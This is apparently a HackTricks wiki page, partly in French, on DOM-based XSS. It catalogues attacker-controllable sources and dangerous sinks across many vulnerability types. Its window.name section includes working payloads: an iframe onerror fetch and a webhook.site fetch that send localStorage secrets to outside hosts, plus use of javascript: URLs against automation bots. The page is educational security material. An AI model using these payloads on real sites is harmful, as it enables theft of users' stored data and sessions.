DOM XSS

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Vulnérabilités DOM

Les vulnérabilités DOM se produisent lorsque des données provenant de sources contrôlées par l’attaquant (comme location.search, document.referrer, ou document.cookie) sont transférées de manière non sécurisée vers des sinks. Les sinks sont des fonctions ou objets (par ex. eval(), document.body.innerHTML) qui peuvent exécuter ou afficher du contenu dangereux si on leur fournit des données malveillantes.

  • Sources sont des entrées pouvant être manipulées par des attaquants, y compris les URLs, les cookies et les messages web.
  • Sinks sont des endpoints potentiellement dangereux où des données malveillantes peuvent entraîner des effets indésirables, comme l’exécution de scripts.

Le risque apparaît lorsque des données circulent d’une source vers un sink sans validation ou assainissement appropriés, permettant des attaques comme XSS.

Tip

Vous pouvez trouver une liste plus à jour des sources et sinks sur https://github.com/wisec/domxsswiki/wiki

Sources courantes:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

Tools to find them

Examples

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities se produisent lorsqu’un script intègre des données, qui peuvent être contrôlées par un attaquant, dans la valeur d’un cookie. Cette vulnérabilité peut provoquer un comportement inattendu de la page si le cookie est utilisé par le site. De plus, elle peut être exploitée pour mener une session fixation attack si le cookie est impliqué dans le suivi des sessions utilisateur. Le primary sink associé à cette vulnérabilité est:

Sinks:

document.cookie

JavaScript Injection

Source: https://portswigger.net/web-security/dom-based/javascript-injection

Les vulnérabilités DOM-based JavaScript injection se produisent lorsqu’un script exécute des données, qui peuvent être contrôlées par un attaquant, comme du code JavaScript.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities se produisent lorsqu’un script définit la propriété document.domain en utilisant des données qu’un attaquant peut contrôler.

La propriété document.domain joue un rôle clé dans l’application de la same-origin policy par les navigateurs. Lorsque deux pages provenant d’origines différentes définissent leur document.domain sur la même valeur, elles peuvent interagir sans restrictions. Bien que les navigateurs imposent certaines limitations sur les valeurs assignables à document.domain, empêchant l’assignation de valeurs complètement étrangères à l’origine réelle de la page, des exceptions existent. Typiquement, les navigateurs permettent l’utilisation de sous-domaines ou domaines parents.

Sinks:

document.domain

WebSocket-URL poisoning

Source: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning se produit lorsqu’un script utilise des données contrôlables comme URL cible pour une connexion WebSocket.

Sinks:

Le constructeur WebSocket peut entraîner des vulnérabilités WebSocket-URL poisoning.

Source: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities surviennent lorsqu’un script écrit attacker-controllable data to a navigation target dans la page courante, comme un lien cliquable ou l’URL de soumission d’un formulaire.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities se produisent lorsqu’un script écrit attacker-controllable data into an Ajax request qui est envoyé en utilisant un objet XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

De: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities surviennent lorsqu’un script transmet des données contrôlables par un attaquant à une API de gestion de fichiers en tant que paramètre filename. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si elle est visitée par un autre utilisateur, pourrait amener le navigateur de l’utilisateur à ouvrir ou écrire un fichier local arbitraire.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities surviennent lorsque un script incorpore des données contrôlables par un attaquant dans une requête SQL côté client de manière non sécurisée.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities surviennent lorsqu’un script stocke des données contrôlables par un attaquant dans le HTML5 storage du navigateur web (localStorage ou sessionStorage). Bien que cette action ne constitue pas intrinsèquement une vulnérabilité de sécurité, elle devient problématique si l’application lit ensuite les données stockées et les traite de manière non sécurisée. Cela pourrait permettre à un attaquant d’exploiter le mécanisme de stockage pour mener d’autres DOM-based attacks, such as cross-site scripting and JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Source : https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities se produisent lorsque un script intègre attacker-controllable data into an XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Source : https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities se produisent lorsqu’un script incorpore des données contrôlées par l’attaquant dans une chaîne qui est analysée comme une structure de données JSON puis traitée par l’application.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities surviennent lorsqu’un script envoie des données contrôlables par un attaquant en tant que web message vers un autre document dans le navigateur. Un exemple de Web-message manipulation vulnérable peut être trouvé sur PortSwigger’s Web Security Academy.

Sinks:

La méthode postMessage() utilisée pour envoyer des messages web peut conduire à des vulnérabilités si l’écouteur d’événements chargé de recevoir les messages traite les données entrantes de manière non sécurisée.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities surviennent lorsqu’un script écrit des données contrôlables par un attaquant dans un champ du DOM qui est utilisé dans l’interface utilisateur visible ou la logique côté client. Cette vulnérabilité peut être exploitée par un attaquant pour construire une URL qui, si elle est visitée par un autre utilisateur, peut altérer l’apparence ou le comportement de l’interface côté client.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Source : https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities se produisent lorsqu’un script transmet des données contrôlables par l’attaquant de manière non sûre à une API de plateforme problématique. Cela inclut des API qui, lorsqu’elles sont invoquées, peuvent amener l’ordinateur de l’utilisateur à consommer une quantité excessive de CPU ou d’espace disque. De telles vulnérabilités peuvent avoir des effets secondaires importants, comme le navigateur restreignant les fonctionnalités du site en rejetant les tentatives de stockage de données dans localStorage ou en interrompant les scripts trop gourmands.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Variables globales implicites & abus de window.name

La référence à name sans déclaration (var/let/const) pointe vers window.name. Comme window.name persiste entre navigations cross-origin, un attaquant peut préremplir le nom d’un contexte de navigation avec du HTML/JS et plus tard amener le code de la victime à l’afficher comme des données de confiance :

  • Ouvrez/naviguez jusqu’à la cible dans un contexte nommé que vous contrôlez:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Ou réutiliser window.open avec un nom de cible spécialement conçu :
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Si l’application exécute ensuite element.innerHTML = name (ou un sink similaire) sans sanitization, la chaîne window.name contrôlée par l’attaquant s’exécute dans l’origine cible, permettant DOM XSS et l’accès au same-origin storage.

Flux Admin/automation : stockage pré-rempli et navigation javascript:

Les bots d’automatisation (p.ex., Playwright) visitent souvent d’abord une page interne, enregistrent des secrets dans localStorage/cookies, puis naviguent vers des URL fournies par l’utilisateur. Toute primitive DOM XSS (y compris l’abus de window.name) dans ce flux peut exfiltrer le secret pré-enregistré :

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Si le bot ne restreint pas les schémas d’URL, la fourniture d’une URL javascript: (javascript:fetch(...)) entraîne l’exécution dans l’origine courante sans nouvelle navigation, leak directement les valeurs de storage.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks